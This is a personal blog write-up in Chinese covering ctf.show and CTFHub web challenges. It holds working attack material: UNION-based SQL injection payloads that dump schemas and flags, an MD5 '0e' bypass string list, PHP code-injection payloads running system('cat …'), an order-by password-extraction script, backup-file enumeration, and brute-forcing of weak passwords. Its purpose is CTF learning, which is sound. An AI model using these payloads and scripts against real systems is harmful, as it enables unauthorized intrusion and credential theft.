ctf.show_web

敬请T期待 Lv3

CTF.show秀

Web4

ctf.show_web4_1

ctf.show_web4_2

一个文件包含漏洞题目,日志注入

使用include()函数接收url参数,include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell;

本题伪协议不起作用,我们可以通过日志注入进行任意命令执行,从而getshell

Web5

ctf.show_web5_1

ctf.show_web5_2

传递两个参数,一个字符串,一个数字,并且两个参数的md5值必须相同,我们可以利用md5的0e漏洞进行绕过

通过GET请求传递两个参数v1和v2,并且参数v1必须是纯字母字符串,参数v2必须是数字或者数字字符串,并且两个参数的md5值必须相等

0e绕过是指:0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;

  • ctype_alpha()函数用于检测字符串中是否仅包含字母,是则返回true,否则返回false
  • is_numeric()函数用于检测变量是否为数字或数字字符串,是则返回true,否则返回false

两个md5值进行弱类型比较

1
md5('QNKCDZO') == md5(240610708)

MD5加密后会变成这个样子

0e830400451993494058024219903391 == 0e462097431906509019562988736854

由于0e开头的字符串会转换为0,所以真正比较的过程会变成下面这样

0==0

返回结果为true,也就是说0e开头的md5值进行弱类型比较时,结果相等

常用的MD5加密后以0E开头的有

​ QNKCDZO
​ 240610708
​ byGcY
​ sonZ7y
​ aabg7XSs
​ aabC9RqS
​ s878926199a
​ s155964671a
​ s214587387a
​ s1091221200a

web7

SQL联合注入

打开题目看见文章列表,随机点击,点第一个

ctfshow_web7_1

发现显示文章,本想搜索flag,发现没有,看见url中id=1

从url地址栏中可以看到,页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞

首先判断注入点,输入以下payload,使SQL恒成立,发现显示文章成功

1
1/**/and/**/1

在输入以下payload,使SQL恒不成立,发现显示不出文章,

1
1/**/and/**/0

由此可以判断页面存在SQL注入,注入点为数值型注入,页面中有显示位,可以尝试联合注入进行脱库

ctfshow_web7_2

先来判断显示位,此处id传一个**-1**,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置

1
-1/**/union/**/select/**/1,2,3#

ctfshow_web7_3

判断数据库

1
-1/**/union/**/select/**/1,database(),3#

ctfshow_web7_4

查看web数据库中的flag表

1
-1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"),3#

ctfshow_web7_5

查看flag表中的flag字段

1
-1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3#

也可使用

1
-1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3

ctfshow_web7_6

查看目标FLAG

1
-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

ctfshow_web7_7

web14

SQL联合注入,GET请求方式

ctfshow_web14_1

尝试输入c获取$url,发现输入555555、3333、6000000时间过于漫长,输入1、2、3发现输入3时输出并非@A@,而是@A@here_1s_your_f1ag.php@A@,或许here_1s_your_f1ag.php里面就包含flag,查看here_1s_your_f1ag.php文件,发现查询页面,查看是否能进行SQL注入

ctfshow_web14_2

ctfshow_web14_3

ctfshow_web14_4

ctfshow_web14_5

通过以上判断该题为SQL注入,注入点为数值型注入, 页面有回显, 推荐使用联合注入

获取当前使用的数据库(爆库)

1
-1/**/union/**/select/**/database()

ctfshow_web14_6

获取数据库中的表(爆表)

1
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

ctfshow_web14_7

获取表中的字段(爆字段)

1
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

ctfshow_web14_8

查询字段内容(查字段)

1
-1/**/union/**/select/**/group_concat(username,password)/**/from/**/content

ctfshow_web14_9

flag不在这,它不讲武德了啊,看来flag不在这,回去看PHP代码,里面有一个Include(“secret.php”);或许真的flag就在里面

先访问一下 secret.php 文件, 可以正常访问, 没有报404, 说明这个文件确实存在, 而且就在根目录下, apache的默认网站根路径是 /var/www/html, 我们试一下读这个文件的内容

ctfshow_web14_10

发现提示/real_flag_is_here,查看地址,发现flag

ctfshow_web14_11

web1

题目提示:“flag在指定用户的密码中”

ctfshow_web1困难

使用sql注入发现无法注入,看见登录框,可以尝试弱口令注入,爆破

本题使用dirmap爆破

ctfshow_web1困难_3

爆出一个www.,zip,访问https://5126510a-052d-4128-83d5-69c656e90f8f.challenge.ctf.show/www.zip将其下载至本地;打开文件夹,查看文件

ctfshow_web1困难_4

查看index.php以及login.php和reg.php,发现文件对sql常见注入做了限制和严格过滤,无法使用常规SQL注入。user_main.php像一个显示用户信息的页面。

返回登录界面,注册一个账号并登录,页面显示

ctfshow_web1困难_2

显示用户信息表,里面有已经注册的信息。

提示有一个flag_is_my_password,因此我们需要获取该用户的密码。

查看user_mian.php源码:

ctfshow_web1困难_5

关键代码为:

1
2
$sql="select * from user order by $order";
$sql="select * from user order by id";

大佬的解释是:可以利用order by 密码来猜测密码,这里需要用到大佬写的脚本

大佬一:https://blog.csdn.net/miuzzx/article/details/104514442

大佬二:https://wp.ctf.show/d/23-ctfshow-web1

大佬三:https://www.cnblogs.com/endermanneer/p/18180926

大佬四:https://ctf.show/writeups/780843

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#author 羽
import requests
url="http://8b2bc75f-04d5-460a-8825-f45b6819043a.challenge.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
print("*")
for i in s:
#print(i)
l=""
l=k+i
l2 = k+chr(ord(i)-1)
data={'username':l,
'email':'c',
'nickname':'c',
'password':l
}
data2={'username':l,
'password':l
}
if (l=='flag'):
k='flag'
print(k)
break
session = requests.session()
r1 = session.post(url1,data)
r2 = session.post(url2,data)
r3 = session.get(url3)
t = r3.text
#print(l)
if (t.find("<td>"+l+"</td>")>t.find("<td>flag@ctf.show</td>")):
k=l2
print(k)
break

该代码中url把https修改成立http,https运行显示报错,于是将其修改为http。

大佬的脚本通过一个很巧妙的方式来判断这些记录是在 flag 的上方还是下方:

1
if (t.find("<td>"+l+"</td>")>t.find("<td>flag@ctf.show</td>")):#推荐使用
1
if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):#运行有报错

通过指定字符串 index 的值,值更大,就是在下方

运行脚本,运行时间比较长,得到flag,显示的flag最后需要将”|“修改成”}“

ctfshow_web1困难_6

Web_Codelnject

可以使用闭合

ctfshow_Codeinject_1

1
1=1);system("cat /"         #POST

ctfshow_Codeinject_2

1
1=1);print_r(system("cat /000f1ag.txt"));//       #POST
1
1=1);system("cat /000f1ag.txt" 					  #POST

ctfshow_Codeinject_3

CTFHUB

WEB_请求方式


请求方式


用burpsuit抓包,重放,将GET改成CTFHUB,发送即可获得flag

BURPSUIT

falg


flag


信息页面隐藏


CTFHUB_WEB_2_1

看见页面信息繁杂,flag可能就隐藏在页面中,火狐快捷键*Ctrl+f*快捷查找,输入flag找到FLAG。


CTFHUB_WEB_2_2


备份文件下载——网站源码

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。


常见的网站源码备份文件后缀


  • tar
  • tar.gz
  • zip
  • rar

常见的网站源码备份文件名


  • web
  • website
  • backup
  • back
  • www
  • wwwroot
  • temp
CTFHUB_WEB_3_1

文件下载,用python脚本,requests

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://challenge-13acc99f8a511ebe.sandbox.ctfhub.com:10800/"

li1=["web","website","backup","back","www","wwwroot","temp"]
li2=[" tar","tar.gz","zip","rar"]

for i in li1:
for j in li2:
url_final = url +"/"+i+"."+j
r=requests.get(url_final)
print(r)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<Response [404]>//1
<Response [404]>//2
<Response [404]>//3
<Response [404]>//4
<Response [404]>//5
<Response [404]>//6
<Response [404]>//7
<Response [404]>//8
<Response [404]>//9
<Response [404]>//10
<Response [404]>//11
<Response [404]>//12
<Response [404]>//13
<Response [404]>//14
<Response [404]>//15
<Response [404]>//16
<Response [404]>//17
<Response [404]>//18
<Response [200]>//[200]19
<Response [404]>
<Response [404]>
<Response [404]>
<Response [404]>
<Response [404]>
<Response [404]>
<Response [404]>
<Response [404]>
<Response [404]>

得到备份文件”www.zip

http://challenge-13acc99f8a511ebe.sandbox.ctfhub.com:10800/www.zip直接访问www.zip下载,得到压缩包www.zip,解压打开文件,如图:

CTFHUB_WEB_3_2

打开flag文件,发现没有flag

CTFHUB_WEB_3_3

直接用

http://challenge-13acc99f8a511ebe.sandbox.ctfhub.com:10800/flag_3210627471.txt得到flag

Web_弱口令

弱口令

通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。

使用BurpSuiteIntruder模块 ,即暴力破解模块(或在fuzz中使用)

开启burp代理

登录信息随便填,抓到request请求如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: challenge-2d13700d4987c4eb.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://challenge-2d13700d4987c4eb.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-2d13700d4987c4eb.sandbox.ctfhub.com:10800/
Upgrade-Insecure-Requests: 1

name=admin&password=ctfhub&referer=

CTFHUB_WEB_4_2

CTFHUB_WEB_4_3

CTFHUB_WEB_4_4

CTFHUB_WEB_4_5

  • Title: ctf.show_web
  • Author: 敬请T期待
  • Created at : 2024-02-20 15:41:29
  • Updated at : 2024-09-11 22:11:12
  • Link: https://kingwempity.github.io/2024/02/20/ctf-show-web/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments